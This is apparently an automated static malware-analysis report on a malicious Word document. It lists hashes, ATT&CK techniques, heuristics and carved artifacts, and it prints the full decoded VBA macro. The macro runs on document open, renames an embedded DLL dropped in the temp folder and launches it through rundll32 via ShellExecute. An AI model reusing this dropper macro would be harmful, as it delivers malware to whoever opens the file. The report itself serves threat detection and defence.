Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c4dfdf2c32068bb3…

MALICIOUS

Office (OLE)

1.15 MB Created: 2021-06-15 10:43:00 Authoring application: Microsoft Office Word First seen: 2021-06-28
MD5: 3a3bef5746571319772475408f555f64 SHA-1: 804955d49abaca0190dcdc55bbbc27bac66a619e SHA-256: c4dfdf2c32068bb31b14efdd0ced1b3ef12a719f66a0249ba8127860c3d81bd3
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1027 Obfuscated Files or Information T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Document_Open macro is configured to execute shell commands, specifically attempting to run 'rundll32.exe' with a DLL file named 'omsh.dll' located in the user templates path. This DLL is likely a second-stage payload. The presence of an embedded PE executable and the use of Ole10Native further indicate malicious intent.

Heuristics 13

  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Ole10Native package carries executable/script file type high OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in an executable or script-capable extension. Even without UI extension spoofing, embedding a runnable payload inside an Office document is a high-risk delivery pattern.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       Set vbvcx = CreateObject("Scripting.FileSystemObject")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2071 bytes
SHA-256: 273ee0c17639538fd4d438e36e6671ab1cb55ed0ca051ccccfe678d53ffd9e97
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Text
  Private Declare PtrSafe Function gc Lib "shell32" _
        Alias "ShellExecuteA" (ByVal hwnd As Long, _
        ByVal lpOperation As String, ByVal lpFile As String, _
        ByVal lpParameters As String, ByVal lpDirectory As String, _
        ByVal nShowCmd As Long) As Long
        Dim hdv As String
Private Sub Document_Open()
Dim vcbc As String
vcbc = Options.DefaultFilePath(wdUserTemplatesPath)

If Dir(vcbc & "\omsh.dll") = "" Then
Call yyy

Call hdhdd
If Len(hdv) > 2 Then

Call nam(hdv)




 Dim cvzz As String
cvzz = "l32"


  gc 0, vbNullString, _
    "rundl" & cvzz, Options.DefaultFilePath(wdUserTemplatesPath) & "\omsh.dll,BJXIQKCQMOC", _
     vbNullString, 1
End If
End If
End Sub



Sub hdhdd()
Dim usx
usx = Options.DefaultFilePath(wdTempFilePath)

 Dim vbvcx As Object
   Set vbvcx = CreateObject("Scripting.FileSystemObject")
Call Search(vbvcx.GetFolder(usx), hdv)

End Sub

Sub yyy()
  Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.MoveDown Unit:=wdLine, Count:=3
    Selection.MoveRight Unit:=wdCharacter, Count:=2
    Selection.TypeBackspace
    Selection.Copy
End Sub




Attribute VB_Name = "Module1"

Sub nam(pafs As String)
Dim uu As String
uu = Options.DefaultFilePath(wdUserTemplatesPath)
Name pafs As uu & "\omsh.dll"
End Sub




 
 Sub Search(mds As Object, pafs As String)
 Dim Nedc As Object

  
   For Each Nedc In mds.SubFolders
     Search Nedc, pafs
   Next Nedc
Dim Ters As Object
   For Each Ters In mds.Files
   
   If Ters.Name = "omh.dll" Then
       
        pafs = Ters
        End If
   Next Ters
   Exit Sub
ErrHandle:
   
   Err.Clear
End Sub
embedded_office_0008f46e.exe embedded-pe Office MZ+PE at offset 0x8F46E 619410 bytes
SHA-256: 12c3bdcd258f672f2f12804d799011ff7f37817dc372959cc161bdebb0167167
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1685234107/Ole10Native 586028 bytes
SHA-256: d1540d6e81e2889e5c2bcc12c99de3426c9fe0a83e3f5161289d3dbb1dfcce8f
ole10native_00_omh.dll ole-package-payload OLE Ole10Native payload: ObjectPool/_1685234107/Ole10Native; display_name=omh.dll; full_path=C:\Users\MyPc\AppData\Local\Temp\omh.dll; temp_path=; def_file= 585728 bytes
SHA-256: b430cb981db4b5b2dcc82c63f23a60af11db02ee35731455b3570d7d63f32bc3

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